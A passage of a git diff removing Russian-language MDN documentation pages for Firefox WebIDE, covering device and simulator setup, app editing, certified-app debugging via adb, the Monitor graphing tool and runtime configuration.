- <li><strong>отключите блокировку экрана на устройстве:</strong> в приложении Настройки (Settings) пройдите в меню к <code>Screen Lock <code>(Блокировка Экрана) </code></code>и уберите флажок с <code>Lock Screen</code> <code>(Блокировать Экран)</code>. Это облегчит вам работу, поскольку при блокировке экрана соединение с телефоном разрывается и процесс отладки приложения прервётся.</li>
- <li><strong>Только для пользователей Linux:</strong> добавьте файл с правилами<code> udev</code> , как указано в документации на шаге 3 руководства по <a href="http://developer.android.com/tools/device.html#setting-up">настройке устройств на Андроид</a>. Атрибут <code>idVendor</code> для Geeksphone имеет значение "05c6", а <a href="http://developer.android.com/tools/device.html#VendorIds">здесь</a> можно найти список других значений <code>idVendor.</code></li>
- <li><strong>Только для пользователей Windows:</strong> вам потребуется установить драйвера, как указано в документации на шаге 3 руководства по <a href="http://developer.android.com/tools/device.html#setting-up">настройке устройств на Андроид</a>. Вы сможете найти драйвера для устройств Geeksphone на сайте <a href="http://downloads.geeksphone.com/">Geeksphone</a>. Windows 8 по умолчанию не позволит вам установить неподписанные драйвера. Обратитесь к статье <a class="external external-icon" href="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html" title="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html">"Как установить неподписанные драйвера в Windows 8"</a>.</li>
- <li><strong>отключите все другие Андроид устройства:</strong> убедитесь что у вас нет других Андроид устройств, подключенных к компьютеру.</li>
-</ul>
-
-<p>Теперь подсоедините устройство к компьютеру с помощью USB. Вы должны увидеть ваше устройство в подгруппе "USB DEVICES" (USB Устройства):</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8045/webide-select-runtime-keon.png" style="display: block; height: 562px; margin-left: auto; margin-right: auto; width: 710px;"></p>
-
-<h4 id="Исправление_ошибок">Исправление ошибок</h4>
-
-<p>Если вы не видите ваше устройство, то попробуйте следующее:</p>
-
-<ol>
- <li><strong>включите логирование:</strong>
-
- <ol start="1" style="list-style-type: lower-alpha;">
- <li>откройте <a href="http://kb.mozillazine.org/About:config">about:config</a>, и добавьте новый параметр <span class="message"><span class="content"><code><span class="email">extensions.adbhelper@mozilla.org.sdk</span>.console.logLevel</code>/ Присвойте ему строковое значение <code>all</code>.</span></span></li>
- <li>в <a href="https://support.mozilla.org/ru/kb/disable-or-remove-add-ons">Менеджере Дополнений</a> отключите и снова включите дополнение ADB Helper.</li>
- <li>Откройте <a href="/ru/docs/Tools/Browser_Console">К</a><a href="/ru/docs/Tools/Browser_Console">онсоль Браузера</a> и вы увидите в сообщения начинающиеся с <code>adb</code>. Если смысл сообщений вам непонятен, то попросите помощи.</li>
- </ol>
- </li>
- <li><strong>где можно попросить помощи:</strong> зайдите на <a class="external external-icon" href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">#devtools чат IRC</a>, и мы постараемся вам помочь.</li>
- <li><strong>отредактируйте asb_usb.ini</strong>: если команда "adb devices" выводит пустой список даже когда телефон подключен и разблокирован, то можно попробовать отредактировать <a class="external external-icon" href="http://blog.fh-kaernten.at/wehr/?p=1182">adb_usb.ini</a>.</li>
-</ol>
-
-<h3 id="Добавление_Симулятора_Firefox_OS">Добавление Симулятора Firefox OS</h3>
-
-<p><span style="line-height: 1.5;"><a href="/ru/docs/Tools/Firefox_OS_Simulator">Симулятор Firefox OS</a> is <span style="line-height: 1.5;">a version of the higher layers of Firefox OS</span> that simulates a Firefox OS device, but runs on the desktop. </span><span style="line-height: 1.5;">It runs in a window the same size as a Firefox OS device, includes the Firefox OS user interface and built-in apps, and simulates many of the Firefox OS device APIs.</span></p>
-
-<p><span style="line-height: 1.5;">Это означает, что в большинстве случаев вам не требуется настоящее устройство, чтобы тестировать и выполнять отладку ваших приложений. </span></p>
-
-<p>Симулятор имеет большой объем, поэтому он не встроен в Firefox, а поставляется как <a href="/ru/Add-ons">плагин</a>. Если вы нажмёте "Установить Симулятор" (Install Simulator)  в меню Среды Исполнения, вас перенаправит на страницу, с которой можно установить различные версии Firefox OS Симулятора.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8039/webide-install-simulator.png" style="display: block; height: 560px; margin-left: auto; margin-right: auto; width: 720px;">Вы можете установить сколько угодно версий Симулятора. Но будьте терпеливы — Симуляторы имеют большой объем, и поэтому их загрузка может занять продолжительное время. Как только вы установили Симуляторы, они появятся в меню Среды Исполнения:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8047/webide-select-runtime-keon-simulator.png" style="display: block; height: 559px; margin-left: auto; margin-right: auto; width: 712px;">Чтобы узнать больше о Симуляторах, просмотрите <a href="/ru/docs/Tools/Firefox_OS_Simulator">документацию к ним</a>.</p>
-
-<h3 id="Custom_runtimes">Custom runtimes</h3>
-
-<p>With a custom runtime you can use an arbitrary hostname and port to connect to the remote device.</p>
-
-<p>Under the hood, Firefox OS devices and Android devices connect to the desktop using a program called the Android Debug Bridge, or <a href="http://developer.android.com/tools/help/adb.html">ADB</a>. By default, the WebIDE uses an add-on called the ADB Helper: this simplifies the process for you by installing ADB and setting up port forwarding so the Firefox desktop tools can exchange messages with the device.</p>
-
-<p>This is convenient, but sometimes you need to manage ADB directly, because you have your own custom port forwarding, and in this case you need to set up a custom runtime. For example, you can connect a <a href="/ru/docs/Tools/Remote_Debugging/Firefox_for_Android">Firefox for Android device using adb</a>, then set up port forwarding from that device, then use the port number in a custom runtime to connect WebIDE to it.</p>
-
-<h2 id="Как_создать_новое_или_открыть_существующее_приложение">Как создать новое или открыть существующее приложение</h2>
-
-<p>В списке меню «Открыть приложение» (Open App) есть 3 опции: «Создать новое приложение», «Открыть упакованное приложение» и «Открыть приложение на удаленном хосте»:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8049/webide-open-app-empty.png" style="display: block; height: 562px; margin-left: auto; margin-right: auto; width: 723px;"></p>
-
-<h3 id="Создание_нового_приложения">Создание нового приложения</h3>
-
-<p>Выберите "Создать Приложение... " (New App...), чтобы создать новое приложение. Откроется диалог, предлагающий выбрать между двумя шаблонами "Пустое Приложение" (Privileged Empty App) и "Приложение Образец" (Privileged App).</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8053/webide-new-app.png" style="display: block; height: 591px; margin-left: auto; margin-right: auto; width: 739px;"></p>
-
-<p>Оба шаблона взяты из колекции шаблонов <a href="https://github.com/mozilla/mortar/">Mortar</a>, и оба предоствавляют базовую структуру для начала разработки приложения. "Приложение Образец" (Privileged App) показывает, как приложение может использовать разрешения для загрузки контента с удаленного источника.</p>
-
-<p>Выбрав шаблон, введите имя приложения и выберите директорию, в которую следует сохранить файлы, после чего новое приложение откроется в  <a href="https://developer.mozilla.org/ru/docs/Tools/WebIDE#Editing_apps">редакторе проекта</a>.</p>
-
-<h3 id="Как_открыть_упакованное_приложение">Как открыть упакованное приложение</h3>
-
-<p>Выберите "Открыть Упакованное Приложение" (Open Packaged App...), чтобы открыть <a href="/ru/Marketplace/Options/Packaged_apps">упакованное приложение</a>. Затем укажите директорию, в которой содержится <a href="/ru/Apps/Build/Manifest">манифест</a> приложения, и оно откроется в <a href="https://developer.mozilla.org/ru/docs/Tools/WebIDE#Editing_apps">редакторе проекта</a>.</p>
-
-<h3 id="Как_открыть_приложение_на_удаленном_хосте">Как открыть приложение на удаленном хосте</h3>
-
-<p>Выберите "Открыть Удаленное Приложение" (Open Hosted App...), затем укажите ссылку (URL) на <a href="/ru/Apps/Build/Manifest">манифест</a> приложения, и приложение откроется в <a href="https://developer.mozilla.org/ru/docs/Tools/WebIDE#Editing_apps">редакторе проекта</a>.</p>
-
-<h2 id="Редактирование_приложений">Редактирование приложений</h2>
-
-<p>Редактор проекта предлагает удобное окружение для разработки приложений. Слева можно увидеть файловую структуру проекта в виде дерева, а справа панель редактора. Вы можете добавлять и удалять файлы, используя контекстное меню.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8055/webide-new-app-editor.png" style="display: block; height: 625px; margin-left: auto; margin-right: auto; width: 846px;"></p>
-
-<h3 id="Валидация_Манифеста">Валидация Манифеста</h3>
-
-<p>WebIDE автоматически проверяет манифест на наличие определенных общих ошибок. Если она найдет ошибку, то укажет, что в приложении имеются проблемы, а также даст более детальное описание проблемы:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8063/webide-invalid-manifest.png" style="display: block; height: 626px; margin-left: auto; margin-right: auto; width: 847px;"></p>
-
-<h3 id="Редактор_кода">Редактор кода</h3>
-
-<p>WebIDE использует редактор кода <a href="http://codemirror.net/">CodeMirror</a>.</p>
-
-<h4 id="Шорткаты_редактора_кода">Шорткаты редактора кода</h4>
-
-<p>{{ Page ("ru/docs/tools/Keyboard_shortcuts", "source-editor") }}</p>
-
-<h4 id="Автодополнение_кода">Автодополнение кода</h4>
-
-<p>Редактор имеет функцию автодополнения кода CSS и JavaScript. Для CSS автодополнение всегда включено:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8057/webide-css-autocomplete.png" style="display: block; height: 628px; margin-left: auto; margin-right: auto; width: 849px;">Чтобы открыть подсказки автодополнения для JavaScript, нажмите Control + Space:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8059/webide-js-autocomplete.png" style="display: block; height: 653px; margin-left: auto; margin-right: auto; width: 867px;"></p>
-
-<h4 id="Встроенная_документация">Встроенная документация</h4>
-
-<p>Редактор также может показывать встроенную документацию к JavaScript. Нажмите Shift + Space, чтобы увидеть всплывающее окно с документацией к объекту, на котором находится курсор:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8061/webide-js-inline-docs.png" style="display: block; height: 652px; margin-left: auto; margin-right: auto; width: 872px;"></p>
-
-<p>Нажатие на ссылку <code>[docs]</code> в окне с документацией перенаправит вас на страницу с MDN с описанием объекта, к которому требуется дополнительная документация.</p>
-
-<h2 id="Запуск_и_отладка_приложений">Запуск и отладка приложений</h2>
-
-<p>Когда вы готовы к запуску приложения, то выберите среду исполнения из меню "Выбрать среду исполнения" (Select Runtime). Если у вас еще нет ни одной зарегистрированной среды исполнения, то узнайте, как можно это сделать, в главе <a href="/ru/docs/Tools/WebIDE#Setting_up_runtimes">Настройка среды исполнения</a>.</p>
-
-<ul>
- <li>Если вы выбрали Симулятор, WebIDE запустит его.</li>
- <li>Если вы выбрали устройство Firefox OS, WebIDE соединится с устройством. На устройстве появится диалог, который попросит подтверждения того, что вы желаете установить соединение: нажмите "ДА" (OK).</li>
-</ul>
-
-<p>Теперь две вещи изменились. Во-первых, в меню Среды Исполнения появилось 3 дополнительных пункта:</p>
-
-<ul>
- <li>информация о текущей среде исполнения;</li>
- <li>таблица, содержащая список <a href="/ru/Apps/Build/App_permissions">разрешений приложения</a> в активной среде исполнения, в которой указан каждый API и каждый <a href="/ru/Marketplace/Options/Packaged_apps#Types_of_packaged_apps">тип приложения</a>, доступ к которому разрешен (✓), запрещен (✗), или разрешение будет запрошено у пользователя (!);</li>
- <li>команда, позволяющая сделать скриншот с экрана среды исполнения.</li>
-</ul>
-
-<p>Во-вторых, кнопка "play" в центре панели инструментов WebIDE теперь активна: нажмите на неё, чтобы установить и запустить приложение в выбранной среде исполнения:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8065/webide-running.png" style="display: block; height: 718px; margin-left: auto; margin-right: auto; width: 1314px;">Чтобы включить отладку приложения, нажмите кнопку "Приостановить" (Pause) — появится <a href="/ru/docs/Tools/Tools_Toolbox">Панель Разработчик</a><a href="/ru/docs/Tools/Tools_Toolbox">а, </a>соединённая с вашим приложением:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8067/webide-debugging.png" style="display: block; height: 688px; margin-left: auto; margin-right: auto; width: 1310px;">В зависимости от среды исполнения список доступных инструментов может изменяться, однако как минимум будут доступны базовые инструменты: <a href="/ru/docs/Tools/Page_Inspector">Инспектор</a>, <a href="/ru/docs/Tools/Web_Console">Консоль</a>, <a href="/ru/docs/Tools/Debugger">Дебаггер JavaScript</a>, <a href="/ru/docs/Tools/Style_Editor">Редактор Стилей</a>, <a href="/ru/docs/Tools/Profiler">Профайлер</a> and <a href="/ru/docs/Tools/Scratchpad">Скратчпад</a>. Как и при работе с веб страницами, любое сделанное вами изменение немедленно отобразится в приложении, но при перезапуске приложения изменения не сохраняются. И наоборот, любые сделанные вами изменения в редакторе можно сохранить сразу на диск, но они станут видимыми только после рестарта приложения.</p>
-
-<h3 id="Отладка_подписанных_приложений">Отладка подписанных приложений</h3>
-
-<p>With the Simulator, if you click on the app dropdown menu while the runtime is selected, you can see and debug not only your app but all apps running in that runtime, including <a href="/ru/Marketplace/Options/Packaged_apps#Certified_app">certified apps</a>:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8069/webide-debugging-builtin.png" style="display: block; height: 681px; margin-left: auto; margin-right: auto; width: 1302px;"></p>
-
-<p><br>
- Как бы там ни было, чтобы запустить отладку подписанного приложения на реальном устройстве:</p>
-
-<ul>
- <li>устройство должно работать под сборкой Firefox OS версии 1.2+;</li>
- <li>вы должны активировать отладку подписанных приложений.</li>
-</ul>
-
-<p>Чтобы активировать отладку подписанных приложений, проделайте следующие операции:</p>
-
-<ol>
- <li>На своем компьютере откройте терминал/консоль и выполните команду, чтобы войти на файловую систему устройства через шел:
- <pre class="brush: bash">adb shell</pre>
-
- <p>Приглашение в терминале должно измениться на root@android.</p>
- </li>
- <li>
- <p>Следующий шаг — остановите B2G:</p>
-
- <pre class="brush: bash">stop b2g</pre>
- </li>
- <li>
- <p>Смените текущую директорию:</p>
-
- <pre class="brush: bash">cd /data/b2g/mozilla/*.default/</pre>
- </li>
- <li>
- <p>Добавьте следующую строку в файл prefs.js :</p>
-
- <pre class="brush: bash">echo 'user_pref("devtools.debugger.forbid-certified-apps", false);' &gt;&gt; prefs.js
-</pre>
- </li>
- <li>
- <p>Перезапустите B2G:</p>
-
- <pre class="brush: bash">start b2g</pre>
- </li>
- <li>
- <p>Выйдите из файловой системы Андроида с помощью команды <code>exit</code>; это вернет вас в ваш обычный терминал и вы увидите стандартное приглашение командной строки.</p>
- </li>
-</ol>
-
-<p>Теперь в WebIDE доступны все подписанные приложения на вашем устройстве.</p>
-
-<p> </p>
-
-<p> </p>
diff --git a/files/ru/tools/webide/monitor/index.html b/files/ru/tools/webide/monitor/index.html
deleted file mode 100644
index 0f7a579909..0000000000
--- a/files/ru/tools/webide/monitor/index.html
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: Monitor
-slug: Tools/WebIDE/Monitor
-tags:
- - Monitor
-translation_of: Archive/WebIDE/Monitor
----
-<div>{{ToolsSidebar}}</div><p>WebIDE Monitor инструмент предназначеный помочь вам отслеживать эффективность работы <a href="/ru/docs/">Firefox OS</a>  приложений и устройств.</p>
-<p><img alt="The WebIDE Monitor" src="https://thefiletree.com/jan/shots/monitor/monitor.png" style="width: 800px; height: 464px;"></p>
-<p>Monitor способен отображать существующие, интерактивные графики для визуализации временных рядов.</p>
-<h2 id="Доступные_графики">Доступные графики</h2>
-<p>Monitor поставляется с несколькими различными графиками. Они появляются сразу после того, как WebIDE подключается к Firefox OS.</p>
-<h3 id="Обычный_пример">Обычный пример</h3>
-<p><img alt="Unique Set Size" src="https://thefiletree.com/jan/shots/monitor/uniquesetsize.png" style="width: 879px; height: 310px;"></p>
-<p>График показывает работу всех процессов Firefox OS в течение данного времени. Если вас интересует потребление памяти приложением в Firefox OS, запустите приложения, и процесс использования памяти отобразится на графике.</p>
-<h2 id="Отображение_ваших_данных">Отображение ваших данных</h2>
-<p>Отображать любые данные на Monitor очень легко, он принимает отформатированные обновления из разных источников.</p>
-<h3 id="Устройства_Firefox_OS">Устройства Firefox OS</h3>
-<p>Вы можете отправить данные с подключенного устройства, путем отправки уведомления наблюдателя.</p>
-<p>Примечание: Если вы хотите сделать это в <a href="https://developer.mozilla.org/Marketplace/Options/Packaged_apps#Certified_app" title="Certified app">сертифицированном приложении</a> пожалуйста, следуйте <a href="https://developer.mozilla.org/docs/Tools/WebIDE#Debugging_certified_apps" title="Debugging certified apps">этой инструкции</a>.</p>
-<h4 id="JavaScript">JavaScript</h4>
-<p><code>Services.obs.notifyObservers(null, 'devtools-monitor-update', data);</code></p>
-<p>Вы можете отправить данные из любого кода JS с chrom привилегией. Пример измерения времени выполнения определенного кода JS:</p>
-<p><code>const Services = require('Services');<br>
- <br>
- var start = Date.now();<br>
- // code to benchmark<br>
- var stop = Date.now();<br>
- <br>
- var data = { graph: 'Performance', myFeature: stop-start, time: stop }</code><code>;<br>
- Services.obs.notifyObservers(null, 'devtools-monitor-update', JSON.stringify(data));</code></p>
-<h4 id="C">C++</h4>
-<p><code>observerService-&gt;NotifyObservers(nullptr, "devtools-monitor-update", data);</code></p>
-<p>Вы можете отправить данные из любого места в Gecko. Пример измерения времени выполнения определенного кода:</p>
-<p><code>#include &lt;time.h&gt;<br>
- #include "nsPrintfCString.h"<br>
- #include "nsIObserverService.h"<br>
- <br>
- clock_t start = clock();<br>
- // code to benchmark<br>
- clock_t stop = clock();<br>
- double time = (double)(stop - start) / (CLOCKS_PER_SEC / 1000);<br>
- <br>
- nsCOMPtr&lt;nsIObserverService&gt; observerService = services::GetObserverService();<br>
- if (observerService) {<br>
-   nsPrintfCString str("{\"graph\":\"Performance\",\"myFeature\":%f}", time);<br>
-   nsAutoString data = NS_ConvertUTF8toUTF16(str);<br>
-   observerService-&gt;NotifyObservers(nullptr, "devtools-monitor-update", data.get());<br>
- }</code></p>
-<h3 id="С_вашего_компьютера">С вашего компьютера</h3>
-<p> </p>
-<p>Можно легко передавать данные на Monitor по серверу WebSockets. Это может быть полезно, если вы пишете расширение Firefox, инструмент командной строки или веб-service.</p>
-<p>По умолчанию Monitor ищет сервер работающий на порту 9000 вашего компьютера. Вы можете изменить это путем обновления</p>
-<p><code>devtools.webide.monitorWebSocketURL</code> preference.</p>
-<p>Вы также можете в этот момент принимать данные из локальной сети или из любой точки мира через Интернет.</p>
-<h4 id="Node.js">Node.js</h4>
-<p><code>TODO</code></p>
-<h4 id="Python">Python</h4>
-<p><code>TODO</code></p>
-<h3 id="Поддерживаемые_форматы">Поддерживаемые форматы</h3>
-<p>Monitor принимает данные в виде объектов JSON, которые обычно выглядят следующим образом:</p>
-<p><code>{</code><br>
- <code>  "graph": "myGraph",<br>
-   "curve": "myCurve",<br>
-   "value": 42,<br>
-   "time": 1234567890<br>
- }</code></p>
-<p>Этот формат предназначен для большего удобства. Если указано, что График или кривая не существует, он будет создан автоматически.</p>
-<h4 id="Произвольные_имена">Произвольные имена</h4>
-<p>Неопознанные записи будут рассматриваться как имя кривой и стоимости.</p>
-<p>Для маленького пакета данных вы можете использовать что-то вроде:</p>
-<p><code>{ "myCurve": 42 }</code></p>
-<p>Это добавит данные указывающие на "myCurve" в графе no name. Отсутствует time по умолчанию, когда Monitor получил пакет.</p>
-<p>Для повышения точности лучше всегда указывать метку времени "timestamp" для хранения данных:</p>
-<p><code>{<br>
-   "current": 60,</code><br>
- <code>  "voltage": 500,<br>
-   <code>"time": 1234567890</code><br>
- }</code></p>
-<h4 id="Несколько_значений">Несколько значений</h4>
-<p>В одном обновлении, вы можете отправить данные для нескольких кривых:</p>
-<p><code>{<br>
-   "graph": "myGraph",<br>
-   "myCurve1": 50,<br>
-   "myCurve2": 300,<br>
-   "myCurve3": 9000,<br>
-   "time": 1234567890<br>
- }</code></p>
-<p>Или несколько точек данных для одной кривой:</p>
-<p><code>{<br>
-   "graph": "myGraph",<br>
-   "curve": "myCurve",<br>
-   "values": [<br>
-     { "time": 1234567890, "value": 42 },<br>
-     { "time": 1234567981, "value": 51 }<br>
-   ]<br>
- }</code></p>
-<h4 id="Multiple_обновления">Multiple обновления</h4>
-<p>И вы также можете отправить несколько обновлений данных в виде массива:</p>
-<p><code>[<br>
-   { "graph": "Memory", "time": 1234567890, "System": 2600, "My App": 1000 },<br>
-   { "graph": "Power", "time": 1234567890, "current": 60, "voltage": 500 }<br>
- ]</code></p>
-<h4 id="Специальное_событие">Специальное событие</h4>
-<p>Чтобы отметить специальное событие в графе с вертикальной чертой, добавьте ключ событий для обновления вашего:</p>
-<p><code>{<br>
-   "graph": "myGraph",<br>
-   "event": "myEvent",<br>
-   "time": 1234567980<br>
- }</code></p>
diff --git a/files/ru/tools/webide/setting_up_runtimes/index.html b/files/ru/tools/webide/setting_up_runtimes/index.html
deleted file mode 100644
index 2fd78e6f57..0000000000
--- a/files/ru/tools/webide/setting_up_runtimes/index.html
+++ /dev/null
@@ -1,132 +0,0 @@
----
-title: Настройка времени выполнения
-slug: Tools/WebIDE/Setting_up_runtimes
-tags:
- - Боковая панель
- - Операционная Система
- - Руководство
- - Симуляторы
-translation_of: Archive/WebIDE/Setting_up_runtimes
----
-<p>{{ToolsSidebar}}</p>
-
-<p>Время выполнения это среда где вы будете выполнять и отлаживать приложение, такое как веб браузер. Время выполнения может быть:</p>
-
-<ul>
- <li>экземпляр Firefox, или настольная версия или экземпляр Firefox дляAndroid запускающаяся на телефоне</li>
- <li>устройство запускающее Firefox OS, или Firefox OS Симулятор установленный на рабочем столе</li>
- <li>различные браузерные движки, такие как Google Chrome или Safari, запускающиеся на рабочем столе или на мобильном устройстве.</li>
-</ul>
-
-<p>В WebIDE, вы будете использовать боковую панель в правой стороне для управления временами выполнения:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12149/webide-right-sidebar.png" style="display: block; height: 712px; margin-left: auto; margin-right: auto; width: 811px;"></p>
-
-<p>В этой боковой панели времена выполнения сгрупирированны в четыре типа:</p>
-
-<dl>
- <dt><a href="/en-US/docs/Tools/WebIDE/Setting_up_runtimes#Connecting_a_Firefox_OS_device">USB УСТРОЙСТВА</a></dt>
- <dd>Устройства Firefox OS подключены через USB. С Firefox 36 это также позволяет вам подключиться к <a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE">Firefox for Android over USB</a>.</dd>
- <dt><a href="/en-US/docs/Tools/WebIDE/Setting_up_runtimes#Connecting_over_WiFi">WI-FI УСТРОЙСТВА</a></dt>
- <dd>Устройства Firefox OS подключены через Wi-Fi. Новое в Firefox 39.</dd>
- <dt><a href="/en-US/docs/Tools/WebIDE/Setting_up_runtimes#Adding_a_Simulator">СИМУЛЯТОРЫ</a></dt>
- <dd>Экземпляры установленного вами симулятора Firefox OS.</dd>
- <dt><a href="/en-US/docs/Tools/WebIDE/Setting_up_runtimes#Other_runtimes">ДРУГИЕ</a></dt>
- <dd>Удаленные среды выполнения для подключения WebIDE к произвольному хосту и порту. Если у вас есть <a href="/en-US/docs/Tools/Valence">Valence</a> надстройка установлена, этот раздел также перечислит <a href="/en-US/docs/Tools/WebIDE/Setting_up_runtimes#Valence-enabled_runtimes">additional runtimes it enables</a>.</dd>
-</dl>
-
-<p>Остальная часть этого раздела описывает, как вы можете добавить некоторые среды выполнения.</p>
-
-<h2 id="Подключение_Firefox_OS_устройства">Подключение Firefox OS устройства</h2>
-
-<p>Если у вас достаточно свежая версия Firefox и Firefox OS, вы можете <a href="/en-US/docs/Tools/WebIDE/Setting_up_runtimes#Connecting_over_WiFi">подключиться по WI-FI</a>. В противном случае вы должны подключиться через USB.</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_OS_over_USB">how to connect over USB</a></li>
- <li><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_OS_over_Wifi">how to connect over WiFi</a></li>
-</ul>
-
-<h2 id="Подключение_к_Firefox_для_Android">Подключение к Firefox для Android</h2>
-
-<p>Устройства Android, подключенные через USB и работающие с Firefox для Android, отображаются как среда выполнения в разделе «Устройства USB». Начиная с Firefox 42, вы можете подключаться к Firefox для Android через Wi-Fi.</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE">Как подключиться по USB</a></li>
- <li><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_over_Wifi">Как подключиться по WiFi</a></li>
-</ul>
-
-<h2 id="Добавление_Симулятора">Добавление Симулятора</h2>
-
-<p><a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a></p>
-
-<p>является версией более высоких уровней ОС Firefox, которая имитирует устройство с ОС Firefox, но работает на рабочем столе. Он работает в окне того же размера, что и устройство с ОС Firefox, включает в себя пользовательский интерфейс ОС Firefox и встроенные приложения, а также имитирует многие API-интерфейсы устройства с ОС Firefox.</p>
-
-<p>Это означает, что во многих случаях вам не нужно реальное устройство для тестирования и отладки вашего приложения.</p>
-
-<p>Симулятор поставляется не внутри Firefox, а как Firefox<a href="/en-US/Add-ons"> дополнение</a>.Если вы нажмете «Установить симулятор» на боковой панели «Runtime», вы перейдете на страницу, с которой вы можете установить симуляторы для различных версий Firefox OS.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12151/webide-extra-components.png" style="display: block; height: 712px; margin-left: auto; margin-right: auto; width: 811px;">Вы можете установить сколько вам угодно. Однако будьте терпеливы: Симулятор может занять несколько минут для скачивания.</p>
-
-<p>Заметьте для того чтобы запустить Firefox OS Симулятор 2.6 или позднюю версию, вы должны использовать Firefox 45 или позднюю версию.</p>
-
-<p>Один раз установя некоторые Симуляторы вы можете закрыть это "Extra Components" окно, и Симуляторы которые вы установили появляются как опция в панели времён выполнения:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12153/webide-installed-simulators.png" style="display: block; height: 712px; margin-left: auto; margin-right: auto; width: 811px;"></p>
-
-<p>Для того чтобы узнать больше о Симуляторе, посмотрите его <a href="/en-US/docs/Tools/Firefox_OS_Simulator">документацию</a>.</p>
-
-<h3 id="Конфигурирование_Симуляторов">Конфигурирование Симуляторов</h3>
-
-<p>Новое в Firefox 42</p>
-
-<p>Начиная с Firefox 42, в боковой панели рядом с каждым перечисленным Симулятором вы увидите иконку настроек:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11321/webide-settings.png" style="display: block; height: 50px; margin-left: auto; margin-right: auto; width: 364px;"></p>
-
-<p>Кликните его, и вы увидите экран позволяющий вам управлять Симулятором:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12155/webide-simulator-options.png" style="display: block; height: 712px; margin-left: auto; margin-right: auto; width: 811px;">Вы можете:</p>
-
-<ul>
- <li>назвать данную запись</li>
- <li>указать ему выбранный <a href="/en-US/Firefox_OS/Building_the_Firefox_OS_simulator">Desktop B2G build</a></li>
- <li>указать ему выбранный Gaia профиль</li>
- <li>симулировать специфичное устройство и размер экрана</li>
-</ul>
-
-<h2 id="Другие_времена_выполнения">Другие времена выполнения</h2>
-
-<h3 id="Удалённое_время_выполнения">Удалённое время выполнения</h3>
-
-<p>С помощью удаленной среды выполнения вы можете использовать произвольное имя хоста и порт для подключения к удаленному устройству.</p>
-
-<p>Устройства Firefox OS и Android подключаются к рабочему столу с помощью программы, называемой Android Debug Bridge, или <a href="http://developer.android.com/tools/help/adb.html">ADB</a>. По умолчанию в WebIDE используется надстройка, которая называется ADB Helper: это упрощает процесс, устанавливая ADB и настраивая переадресацию портов, чтобы инструменты рабочего стола Firefox могли обмениваться сообщениями с устройством.</p>
-
-<p>В большинстве случаев это удобно, но иногда вам может понадобиться использовать ADB вне WebIDE: например, вы можете запускать ADB непосредственно из командной строки. В этом случае вы подключитесь к устройству, указав хост и порт, используя <a href="http://developer.android.com/tools/help/adb.html#forwardports"><code>adb forward</code></a> команду (пример: <code>adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</code>).<br>
-<br>
-Если вы затем хотите использовать WebIDE для подключения, вам следует <a href="https://support.mozilla.org/en-US/kb/disable-or-remove-add-ons#w_how-to-disable-extensions-and-themes">разблокировать дополнения</a> и подключить WebIDE, используя опцию Custom runtime, указав хост и порт, которые вы передали в adb forward (пример: <code>localhost:6000</code>).</p>
-
-<p>Кроме того, до Firefox 36 помощник ADB еще не поддерживает подключение к Firefox для Android, поэтому, если вы хотите подключить WebIDE к Firefox для Android, вам нужно настроить собственную переадресацию портов и использовать пользовательскую среду выполнения. <a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">узнайте больше о подключении FireFox для Android c использованием </a>.</p>
-
-<h3 id="Valence-enabled_времена_выполнения">Valence-enabled времена выполнения</h3>
-
-<p>Если у вас установлено дополнение Valence, вы увидите три дополнительных среды выполнения:</p>
-
-<ul>
- <li>Chrome на Android</li>
- <li>Safari на iOS</li>
- <li>Chrome Desktop</li>
-</ul>
-
-<p>Инструкции по подключению к этим средам выполнения см. В соответствующей записи в <a href="/en-US/docs/Tools/Remote_Debugging">удаленной отладке</a>.</p>
-
-<h2 id="Выбор_времени_выполнения">Выбор времени выполнения</h2>
-
-<p>После настройки среды выполнения вы можете выбрать ее с помощью боковой панели «Runtime».</p>
-
-<ul>
- <li>Если вы выбираете симулятор, WebIDE запускает симулятор.</li>
- <li>При выборе устройства с ОС Firefox WebIDE подключается к устройству. На устройстве появится диалоговое окно с просьбой подтвердить, что вы хотите подключиться: нажмите «ОК».</li>
-</ul>
-
-<p>Теперь кнопка «играть» в центре панели инструментов WebIDE включена: нажмите ее, чтобы <a href="/en-US/docs/Tools/WebIDE/Running_and_debugging_apps">установить и запустить приложение</a> в выбранной среде выполнения.</p>
diff --git a/files/ru/tools/webide/troubleshooting/index.html b/files/ru/tools/webide/troubleshooting/index.html
deleted file mode 100644
index f4aed2ec9d..0000000000
--- a/files/ru/tools/webide/troubleshooting/index.html
+++ /dev/null
@@ -1,155 +0,0 @@
----
-title: Решение проблем с WebIDE
-slug: Tools/WebIDE/Troubleshooting
-translation_of: Archive/WebIDE/Troubleshooting
----
